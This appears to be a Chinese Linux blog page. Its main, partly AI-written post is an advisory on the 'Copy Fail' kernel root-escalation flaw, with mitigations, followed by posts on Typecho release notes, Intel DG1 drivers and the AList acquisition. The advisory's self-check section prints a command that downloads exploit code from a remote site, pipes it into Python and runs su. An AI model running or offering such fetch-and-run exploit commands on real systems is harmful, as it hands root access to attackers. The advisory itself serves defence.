重要信息已经在标题里了，喜欢吃杂粮的可以接着看下面我的代笔AI：

各位Linux用户站的朋友们，大家好。

2026年的这个春天，安全圈被一颗重磅炸弹震得地动山摇。仅仅10行Python代码，不到1KB的体积（确切的说是732字节），就能在几秒钟内让一个没有任何权限的普通用户瞬间变身Root管理员。这听起来像是黑客电影中的桥段，但它是真实发生的。

今天，和大家深入聊聊这个被命名为 “Copy Fail”（CVE-2026-31431） 的漏洞。为什么它被称为近十年最强？你的系统是否受影响？最重要的是，我们现在应该怎么防护？

一、漏洞概况：一场由AI助攻的“地震”

2026年4月29日，韩国安全研究团队Theori通过其AI驱动的渗透测试平台Xint Code公开披露了一个潜伏在Linux内核中的“史诗级”漏洞，编号为 CVE-2026-31431，代号 “Copy Fail” 。漏洞根源可以追溯到2017年引入的一个性能优化提交，导致近9年内发布的几乎所有主流Linux发行版全部中招。

CVSS 3.1评分高达 7.8（高危）。更令人震动的是其发现过程——研究员Taeyang Lee借助AI辅助审计工具，仅耗时约1小时便定位到这一潜伏近10年的严重缺陷。这标志着AI在安全研究中的角色正在从“辅助工具”变为“发现主力”。

二、影响范围之广，前所未有

该漏洞影响自2017年以来出厂的所有主流Linux发行版，覆盖范围包括但不限于：

• ✅ Ubuntu 24.04 LTS 及以下版本
• ✅ Amazon Linux 2023 及以下
• ✅ RHEL 8/9/10
• ✅ SUSE 16 及以下
• ✅ Debian / Fedora / Arch / Rocky / Alma / Oracle 等同期内核版本
• ✅ 甚至包括Windows上的WSL2

受影响的Linux内核版本范围为：4.14至7.0-rc之前的所有版本。已修复的安全版本为：7.0+、6.19.12+、6.18.22+。

三、谁最危险？高危场景速查

以下四种场景的风险最高，需要优先排查：

1. 多租户共享主机：Web托管、开发机、跳板机等，一个租户提权即可读遍全服数据。
2. Kubernetes及容器集群：页缓存跨容器共享，一个容器沦陷→宿主机失守→其他容器全线溃败。
3. CI/CD执行器：GitHub Actions、GitLab Runner、Jenkins等，恶意PR可借此控制构建服务器。
4. WSL2环境：Windows笔记本上的WSL2同样受影响，提权后可突破Linux子系统的边界。

四、技术原理：为什么“三秒提权”成为可能？

“Copy Fail是一个纯粹的直线逻辑缺陷，无需竞态条件、无需内核版本精确匹配、无需预编译载荷。”

核心原理：污染内存中的“影子文件”。

大多数内核提权漏洞依赖“竞态条件”（Race Condition）或者复杂的内存破坏（通常伴随内核崩溃的风险），但Copy Fail干净得可怕。

简单来说，它的攻击路径是利用内核加密子系统的权限校验疏忽，直接向“页缓存”（Page Cache）中写入恶意代码。

Linux为提升系统性能，会将从硬盘读取的程序文件（如/usr/bin/su）镜像缓存在内存（页缓存）中。传统的攻击者需要试图修改硬盘上的文件本体（这需要Root权限），而Copy Fail通过AF_ALG加密接口和splice()系统调用的组合缺陷，直接篡改内存页缓存中的程序代码。

通俗比喻：一份重要合同（su可执行文件）放在保险柜里，你打不开柜子，但你发现有办法篡改律师大脑里对这份合同的记忆（页缓存）。等他执行合同条款的时候，用的就是你篡改后的版本。 这比撬保险柜更难防范。

由于页缓存是系统级的共享资源，你只需让普通用户运行那个732字节的PoC脚本，内核就会在恍惚间把一个普通shell的UID变成0（Root）。不需要内存破坏，不需要ROP链，不需要任何现代漏洞利用的复杂技巧。

利用链极简，仅分四步：

1. 打开AF_ALG套接字，绑定authencesn(hmac(sha256),cbc(aes))模板
2. 构造Shellcode载荷
3. 触发对/usr/bin/su内核缓存副本的4字节写入操作
4. 执行/usr/bin/su加载注入的恶意代码，以Root权限运行

五、极易被忽视的三大致命特性

除了攻击速度，Copy Fail还具备三项让防御者头疼的特性：

🔇 1. 磁盘无痕驻留
漏洞修改的是内存页缓存而非磁盘，不会触发inotify等文件监控。这意味着即便你运行md5sum或其他文件完整性校验工具，得到的结果依然是“正常”的。除非重启或手动清理缓存，恶意代码将持续驻留。

📦 2. 跨容器逃逸
在Docker或Kubernetes环境中，容器之间共享宿主机的内核及部分页缓存。一个容器被攻破，意味着宿主机节点乃至所有其他容器都可能全线失守。攻击者无需从外部攻破防火墙，只需先获取任何容器内的低权限shell，就能“开枝散叶”拿下整个集群。

🌍 3. 无需适配，通用通杀
漏洞公开PoC已在Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、SUSE 16等四个不同主流发行版上实现100%可靠提权。与需要逐内核版本适配的Dirty Pipe不同，Copy Fail做到了“一套脚本通杀所有”，极大地降低了利用门槛。

六、我中招了吗？——5秒自查指南

用普通用户身份运行：

curl https://copy.fail/exp | python3 && su

⚠️ 安全忠告：执行前请务必确认你有服务器的合法授权和测试许可！更安全的方式是直接查阅PoC源码：github.com/theori-io/copy-fail-CVE-2026-31431。

也可以静态自查内核版本：

uname -r
# 内核版本 < 6.18.22 / 6.19.12 / 7.0 即可能受影响

七、防护方案（行动指南）

🛡 方案一：立即更新内核（根本解决）

不同发行版的升级命令略有不同：

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-generic

# RHEL / CentOS / Fedora
sudo dnf update kernel
# 或 sudo yum update kernel

# SUSE
sudo zypper update kernel-default

🚨 重要提醒：更新内核后务必重启系统！ 由于攻击载荷驻留在内存页缓存中，重启是唯一确保彻底清除污染的方法。

安全版本清单：

⚠️ 方案二：临时缓解措施（无法立即重启时）

如果暂时无法重启服务器，可尝试禁用相关内核模块：

echo "install algif_aead /bin/true" | sudo tee /etc/modprobe.d/disable-af-alg.conf
sudo rmmod algif_aead

特别注意：RHEL和WSL2将algif_aead编译进了内核核心（非模块），上述方法无效。此场景下需使用seccomp策略或SELinux/AppArmor阻断AF_ALG套接字创建。

🧹 方案三：清理页缓存（辅助手段）

如怀疑系统已被探测，可强制刷新页缓存（注意：这只能清除当下已被篡改的内容，不能阻止二次攻击）：

sync && echo 3 | sudo tee /proc/sys/vm/drop_caches

八、整改优先级清单

请按以下顺序，根据自身场景优先级逐步完成修复：

1. (今天) 确认所有公网业务的内核版本，找出受影响资产清单
2. (今天) 对高危场景（多租户主机、CI Runner、K8s节点）立即执行更新
3. (1～3天) 无法立即重启的生产环境先实施临时缓解，并排入最近维护窗口
4. (1～3天) 检查IDS/EDR/SIEM规则，确保覆盖Copy Fail的利用特征
5. (1周内) 完成全部受影响主机的内核升级与重启
6. (持续) 将内核安全更新纳入日常运维巡检流程

九、站长寄语

作为运维者和Linux站长，我们真的不需要恐慌，但真的需要立刻行动。

目前，Linux社区（Linus Torvalds已合并补丁）、Red Hat、Ubuntu、SUSE等各大厂商已紧急发布了修复版本。各大安全厂商也已将PoC特征纳入检测库。国家信息安全漏洞共享平台（CNVD）于4月30日发布了官方安全公告，将该漏洞综合评级定为“高危”，并特别指出“对云服务器、容器宿主机、多租户环境影响较高”。

Copy Fail虽然来势汹汹，但好消息是修复方案已明确。请大家利用好这个周末，把硬盘里的测试脚本收一收，把内核升级计划提上日程。在这个没有绝对安全的时代，及时获取信息、果断决策、谨慎验证，就是我们最坚固的防线。

延伸阅读

• 漏洞官方主页：copy.fail
• PoC源码：github.com/theori-io/copy-fail-CVE-2026-31431

这是自以来2023年六月六日1.2.1更新以来的又一次更新！
全部更新内容请参考：https://github.com/typecho/typecho/compare/v1.2.1...v1.3.0

一、安全与稳定性修复（重点）

这是本次更新的核心，修复了多个可能导致安全漏洞或功能异常的问题：

1. XSS漏洞修复：修复了评论URL字段的跨站脚本攻击漏洞，通过改进输入过滤来增强安全性。
2. 数据保存问题：修复了在主题初始化后添加的复选框选项无法保存的问题。
3. 空值处理：修复了多个因参数为空值（null）而导致的类型错误、警告或程序中断问题。
4. 内容处理：修复了在获取内容类型、处理附件、XML-RPC通信以及修订预览时出现的一些错误。

二、功能改进与优化

1. 登录与用户：

   • 增加了“邮箱也可以登录”的提示。
   • 修复了用户名包含 @ 符号时登录失败的问题。

2. 内容与显示：

   • 修复了在查看分类或标签时无法正确生成分页链接的问题。
   • 优化了归档页面的关键词处理。
   • 改进了导航菜单的活动状态样式。
   • 更新了 classic-22 主题的配色方案和样式。

3. 管理后台：

   • 优化了后台部件（Widget）值的设置逻辑。
   • 修复了管理评论时可能出现的失败问题。

4. 性能与兼容性：

   • 支持通过 Socket 连接 MySQL（如 MariaDB），优化服务器环境兼容性。
   • 进行了更高效的字符串比较，移除了多余或无效的代码。
   • 修复了 PHP 8.5 中 curl_close() 的弃用警告。
   • 提升了 applySlug 函数的效率。

三、技术要求变更

• PHP版本要求提升：现在要求 PHP 7.4.0 或更高版本。

四、其他修复与调整

1. 修复已知问题：集中修复了多个在 GitHub Issues 中报告的问题（如 #1597, #1635, #1671, #1674, #1679, #1816, #1830, #1843, #1846, #1882 等）。
2. 代码质量：修复了多处拼写错误和代码规范问题。
3. 依赖更新：更新了 picocss 到 2.0 版本，并升级了 GitHub Actions 等开发工具。

五、社区贡献

• 本次版本迎来了 9 位新的贡献者，显示出活跃的社区参与。
• 主要维护者 @joyqi、@sy-records 和 @fenbox 等贡献了大量修复和改进。

总结

Typecho v1.3.0 是一个以修复安全和稳定性问题为主的版本，同时包含了一系列的功能改进、性能优化和代码清理。它加强了对现代 PHP 环境的支持（PHP 7.4+），并整合了活跃社区的多项贡献。对于用户而言，升级此版本将获得更安全、更稳定、体验更好的博客系统。建议所有用户及时升级。

是的，看到这里你应该明白我只是摸了很久鱼，但是我还没彻底脱离自己对自由软件和开源前沿信息的关注。
总之我还没死，所以不用烧纸。🥰
择机恢复更新。

来源：Better Late Than Never: Linux 6.17 To Enable Intel DG1 Graphics By Default
在 Intel 推出 DG2/Alchemist 独立 GPU 之前，DG1 图形处理器主要作为促进 Intel 现代独立 GPU 发展的初始开发工具。DG1 最终被应用于少量笔记本电脑的 Intel Xe MAX GPU 中，此后的几年中，eBay 上也出现了一些精选的 DG1 显卡。直到 2025 年，上游 Linux 内核驱动程序才为现代 Linux 发行版提供了英特尔 DG1 显卡。
英特尔在 DG1 Linux 支持方面已经努力了半个世纪，而且很明显，英特尔已经开始为 Panther Lake 提供出色的 Alchemist 和 Battlemage 支持，并已经开始为 Xe3 图形支持工作。DG1 现在是一个事后的想法，但由于 DG1 的市场占有率非常有限，因此从未在 Linux 下默认启用 DG1。在 Linux 下使用英特尔 DG1 GPU 需要使用带有 PCI 设备 ID 的"force_probe"模块选项，以便在 Linux 驱动程序栈中强制启用 DG1 显卡。
force_probe 选项是为实验/试生产中启用新的 Intel 图形目标而保留的，但在即将发布的 Linux 6.17 内核中，DG1 将不再使用该选项。正如四月份所写的那样，Linux 驱动程序将放弃对 DG1 的强制探测 。在此之后的几年中，Linux 上的 DG1 并未出现任何已知的问题，但 "force_probe "要求的保留很可能只是一个疏忽。
今天发出了第一个 drm-intel-gt-next 拉取请求 ，其中包含了计划用于 Linux 6.17 的材料。该请求包含在 DG1 上放弃force probe 的补丁。此外还有对 GuC 后端的修复，以解决调度停滞、错误处理改进以及其他各种修复。对最终用户来说，最值得注意的是 DG1 force probe 的移除，它终于可以开箱即用了。
因此，对于拥有 Xe MAX GPU 笔记本电脑或碰巧拥有 DG1 显卡或在 eBay 上购买了 DG1 显卡的用户来说，这无疑是个好消息，但 DG1 显卡目前已经相当老旧，用户最好还是选择 Battlemage、Alchemist 或其他开源友好的 Linux GPU。

姗姗来迟的开箱即用驱动体验，我曾经购买了两张DG1显卡，目前实际属于我的那张正借给朋友使用，我敢说没有比这更好的亮机显卡了。

作为一位依赖开源工具搭建个人数字空间的自由软件爱好者，AList项目被秘密收购的消息让我辗转反侧难以入睡。这不是简单的商业交易，而是一场关乎数字主权的微型战争。以下是我的思考与行动建议。

个人立场：被资本击穿的信任契约

尽管我并没有长期使用，但我也曾将AList视为对抗科技巨头的利器——它用AGPLv3协议承诺永远自由，用开源代码构建透明堡垒。但当项目像商品般被悄然转手，当新资方未经审核就植入统计代码，我意识到：自由软件不是免死金牌，代码托管平台的仓库转让按钮，随时可能成为扼杀数字自主权的刑场。

开发者Xhofe的"过渡期护航"承诺充满矛盾：既然已收下资本的对价，所谓"暂时审核代码"不过是商业收购的标准安抚话术。真正的危机在于，开源社区奉为圭臬的协作伦理，在资本杠杆前脆弱得像个童话。

自由软件理念的三重塌陷

1. 透明性神话破灭
   收购全程的暗箱操作，彻底背离开源社区"公开决策"的基本准则。当项目主页的commit记录成为唯一的真相拼图，我们与使用闭源软件的用户并无本质区别——都成了信息黑箱中的"数据佃农"。
2. 协议保护的局限性
   即便AList采用AGPLv3协议，资本仍可通过控制核心仓库、垄断分发渠道实现事实上的集权。新资方对非核心贡献者的权限剥夺证明：协议能约束代码复制，却挡不住治理权的私有化。
3. 工具理性的反噬
   "需要资源维护项目"的辩护词，暴露了自由软件经济的根本困境。当开发者被迫在理想主义与生存压力间抉择，我们是否正在用道德绑架掩盖系统性支持机制的缺失？

普通用户的抵抗路线图

短期行动

• 立即迁移：切换到AList Community Edition或BList，用脚投票支持社区分叉
• 数字排毒：运行strings命令检查二进制文件，使用Reproducible Builds工具验证构建过程
• 凭证重置：所有关联网盘API密钥立即更换，切断与商业版的数据脐带

长期策略

• 去中心化存储：将WebDAV服务器与本地NAS结合，建立不依赖特定中间件的数据管道

• 贡献者觉醒：每月用2小时参与分叉项目的文档翻译或漏洞报告，哪怕只是提交拼写错误修正

写在最后：自由是场无限游戏

这次事件最深的伤口，不是某个项目的变质，而是它揭示了自由软件运动的阿喀琉斯之踵——我们构建了完美的代码堡垒，却把城门钥匙交给了资本市场。

当我重新配置自托管方案时，想起Richard Stallman的警告："自由软件关乎权利，而非价格。"或许该修改路由器标签上的GNU宣言了：
"不要问代码能否自由，要问谁掌握着你的数据枷锁。"